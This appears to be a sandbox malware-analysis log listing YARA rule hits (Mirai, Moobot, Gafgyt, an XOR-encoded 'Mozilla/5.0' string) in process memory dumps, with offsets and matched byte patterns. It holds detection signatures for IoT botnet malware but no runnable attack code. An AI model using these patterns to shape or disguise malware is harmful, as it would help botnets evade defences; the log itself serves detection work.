7302.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7288.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7217.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7217.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7217.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7217.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7217.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7217.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6641.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6953.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6953.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6953.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6953.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6953.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6953.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7406.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7406.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7406.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7406.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7406.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7406.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7343.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6884.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6884.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6884.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6884.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6884.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6884.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6892.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6660.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6660.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6660.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6660.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6660.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6660.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6412.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6568.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6834.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6834.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6834.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6834.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
